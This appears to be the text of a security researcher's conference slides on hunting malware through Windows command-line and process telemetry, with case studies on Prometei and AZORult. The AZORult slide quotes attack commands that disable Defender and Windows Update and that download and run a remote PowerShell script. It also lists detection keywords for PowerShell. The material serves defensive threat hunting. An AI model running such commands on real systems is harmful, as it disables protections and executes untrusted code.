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Who am I?

Vanja Svajcer
Located in Croatia

Security Researcher at Cisco Talos

• Automated analysis
• Mobile malware

• WinDBG
• Telemetry analysis



Hunting malware with command lines

• Motivation and context
• Visibility and LoLBins
• Command lines and process trees
• Hunting for known and unknown TTPs



Motivation and context
• Trend toward using legitimate binaries and “fileless” execution
• Minimum footprint and traces
• More difficult to detect
• Mindset change (from protect to detect)
• Find ways to detect useful for Blue teams



Setting up Windows group policy for process logging
Computer Configuration > Policies > Windows Settings > Security Settings > 
Advanced Audit Configuration > Detailed Tracking > Audit Process Creation
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Setting up Windows group policy for process logging



LOLBins - more about them

• https://attack.mitre.org/

• https://lolbas-project.github.io/

• https://oddvar.moe/

https://attack.mitre.org/
https://oddvar.moe/


Powershell

• Very often used by malicious actors
• Many modules available
• In-memory execution
• Ability to obfuscate code
• Bypassing the local security “policy”
• “Flexibility” with command line options



Powershell findings

• Looking at Powershell invocations with command options matching
• 'iex','invoke','bypass', ‘hidden’, ‘enc’
• Approx 1/1000 suspect executions of Powershell are actually malicious

• About 7% of URLs in suspect Powershell invocations are suspicious
• High probability for maliciousness

• external numeric IP
• .net
• .eu
• pastebin.com

http://pastebin.com/


Powershell tools/modules found

• Reflective DLL loader by Matt Graeber @mattifestation
• Powersploit 
• Powershell Empire
• Kevin Robertson offensive tool set (eg Invoke-TheHash)
• Klionsec scripts
• Invoke-Obfuscation
• BloodhoundAD
• PSKernel-Primitives by FuzzySecurity



Red teaming
#Write-Host "You shouldn't run Invoke-Mimikatz without express written consent from client." -
ForegroundColor Yellow

$MimikatzCoffeeAscii = "
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"

$Results = @()

$Results += "You shouldn't run Invoke-Mimikatz without express written consent from 
client."

$Results += $MimikatzCoffeeAscii

$Results += "^ Mimikatz coffee ASCII art."

$Results += "That Benjamin DELPY (@gentilkiwi) is a funny guy :)"

$Results += "Normally creds will be here, but you get the picture."

Return $Results



LoLBins and malicious invocations



Limitations

• Cmstp
• Mofcomp
• Csc
• Msbuild



Abusing MSBUILD



Inline task - Metasploit shellcode



Process trees (graphs)
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Case study
Hunting for known culprits



China Chopper hunt



China Chopper hunt



China Chopper hunt



China Chopper hunt



Hunting for unknown attacks
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Simple process trees for hunting
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Case studies
Hunting for unknown attacks



Prometei botnet

• Dedicated to mining Monero
• Stealing credentials

• Brute forcing credentials
• Lateral spreading using SMB

• Exploits



SMB Exploit
Brute force

WMI
PSexec Xsvc to svchost

nvstub branch

Nvsync.exe

SearchIndexer

Rdpcl1p branch

Ps.exe Socks.exe Miwalk.exe Rdpcl1p.exe Ztasklist
Crawler TOR

Prometei infection chain and modules



AZORult stealer - first clue

Set-MpPreference -DisableRealtimeMonitoring $true
cmd /c reg add 
'HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows Defender' 
/v DisableAntiSpyware /t REG_DWORD /d 1 /f
cmd /c sc stop wuauserv\r\ncmd /c sc config wuauserv start= disabled

iex ((New-Object 
System.Net.WebClient).DownloadString(‘hxxps://gist[.]githubusercontent[
.]com/mysslacc/a5b184d9d002bf04007c4bbd2a53eeea/raw/c6f8b4c36e484255072
71962855f3e2ac695f99f/baseba'))"



More than just AZORult - traceback
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